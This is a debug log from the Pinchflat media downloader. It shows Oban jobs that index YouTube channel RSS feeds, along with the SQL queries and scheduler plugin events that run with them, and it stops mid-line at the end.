{"args":{"id":3},"id":580,"meta":{},"system_time":1784885448069296639,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:30:48.069 [debug] QUERY OK source="sources" db=0.1ms idle=578.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 09:30:48.069 [debug] QUERY OK source="settings" db=0.0ms idle=578.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:30:48.069 [debug] QUERY OK source="media_profiles" db=0.0ms idle=579.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 09:30:48.069 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:30:48.069 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 09:30:48.096 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 09:30:48.096 [debug] QUERY OK source="media_items" db=0.3ms idle=27.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 09:30:48.098 [debug] QUERY OK source="media_items" db=1.7ms idle=27.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 09:30:48.099 [debug] QUERY OK source="tasks" db=0.0ms idle=29.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [583, 3, ~U[2026-07-24 09:30:48Z], ~U[2026-07-24 09:30:48Z]] 09:30:48.099 [info] {"args":{"id":3},"id":580,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":30384,"event":"job:stop","queue_time":625398,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:30:56.256 [info] {"source":"oban","duration":527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:31:00.305 [info] {"source":"oban","duration":256,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:31:26.257 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:31:56.258 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:32:00.305 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:32:26.259 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:32:56.260 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:33:00.307 [info] {"source":"oban","duration":291,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:33:26.261 [info] {"source":"oban","duration":498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:33:56.262 [info] {"source":"oban","duration":475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:34:00.308 [info] {"source":"oban","duration":152,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:34:26.263 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:34:56.265 [info] {"source":"oban","duration":435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:35:00.309 [info] {"source":"oban","duration":245,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:35:26.266 [info] {"source":"oban","duration":869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:35:56.268 [info] {"source":"oban","duration":545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:36:00.310 [info] {"source":"oban","duration":268,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:36:26.269 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:36:56.271 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:37:00.311 [info] {"source":"oban","duration":255,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:37:26.273 [info] {"source":"oban","duration":1130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:37:56.274 [info] {"source":"oban","duration":430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:38:00.312 [info] {"source":"oban","duration":265,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:38:26.275 [info] {"source":"oban","duration":427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:38:56.276 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:39:00.313 [info] {"source":"oban","duration":206,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:39:26.277 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:39:56.279 [info] {"source":"oban","duration":517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:40:00.313 [info] {"source":"oban","duration":110,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:40:25.719 [info] {"args":{"id":2},"id":581,"meta":{},"system_time":1784886025719241512,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:40:25.719 [debug] QUERY OK source="sources" db=0.0ms idle=228.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 09:40:25.719 [debug] QUERY OK source="settings" db=0.0ms idle=228.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:40:25.719 [debug] QUERY OK source="media_profiles" db=0.0ms idle=228.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 09:40:25.719 [debug] QUERY OK source="settings" db=0.0ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:40:25.719 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 09:40:26.280 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:40:26.354 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 09:40:26.355 [debug] QUERY OK source="media_items" db=0.2ms idle=635.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 09:40:26.356 [debug] QUERY OK source="media_items" db=0.2ms idle=636.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 09:40:26.356 [debug] QUERY OK source="tasks" db=0.0ms idle=76.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [584, 2, ~U[2026-07-24 09:40:26Z], ~U[2026-07-24 09:40:26Z]] 09:40:26.357 [info] {"args":{"id":2},"id":581,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":637622,"event":"job:stop","queue_time":420717,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:40:36.732 [info] {"args":{"id":1},"id":582,"meta":{},"system_time":1784886036732548100,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:40:36.733 [debug] QUERY OK source="sources" db=0.2ms idle=1241.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 09:40:36.733 [debug] QUERY OK source="settings" db=0.0ms idle=1242.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:40:36.733 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1009.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 09:40:36.733 [debug] QUERY OK source="settings" db=0.0ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:40:36.733 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 09:40:36.913 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 09:40:36.914 [debug] QUERY OK source="media_items" db=0.3ms idle=181.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 09:40:36.917 [debug] QUERY OK source="media_items" db=3.1ms idle=181.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 09:40:36.918 [debug] QUERY OK source="tasks" db=0.0ms idle=184.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [585, 1, ~U[2026-07-24 09:40:36Z], ~U[2026-07-24 09:40:36Z]] 09:40:36.918 [info] {"args":{"id":1},"id":582,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":185740,"event":"job:stop","queue_time":633935,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:40:48.745 [info] {"args":{"id":3},"id":583,"meta":{},"system_time":1784886048745405435,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:40:48.745 [debug] QUERY OK source="sources" db=0.0ms idle=254.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 09:40:48.745 [debug] QUERY OK source="settings" db=0.0ms idle=254.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:40:48.746 [debug] QUERY OK source="media_profiles" db=0.0ms idle=255.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 09:40:48.746 [debug] QUERY OK source="settings" db=0.0ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:40:48.746 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 09:40:48.770 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 09:40:48.770 [debug] QUERY OK source="media_items" db=0.4ms idle=25.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 09:40:48.772 [debug] QUERY OK source="media_items" db=1.7ms idle=25.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 09:40:48.773 [debug] QUERY OK source="tasks" db=0.0ms idle=27.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [586, 3, ~U[2026-07-24 09:40:48Z], ~U[2026-07-24 09:40:48Z]] 09:40:48.773 [info] {"args":{"id":3},"id":583,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":28129,"event":"job:stop","queue_time":645887,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:40:56.281 [info] {"source":"oban","duration":519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:41:00.315 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:41:26.282 [info] {"source":"oban","duration":493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:41:56.283 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:42:00.316 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:42:26.284 [info] 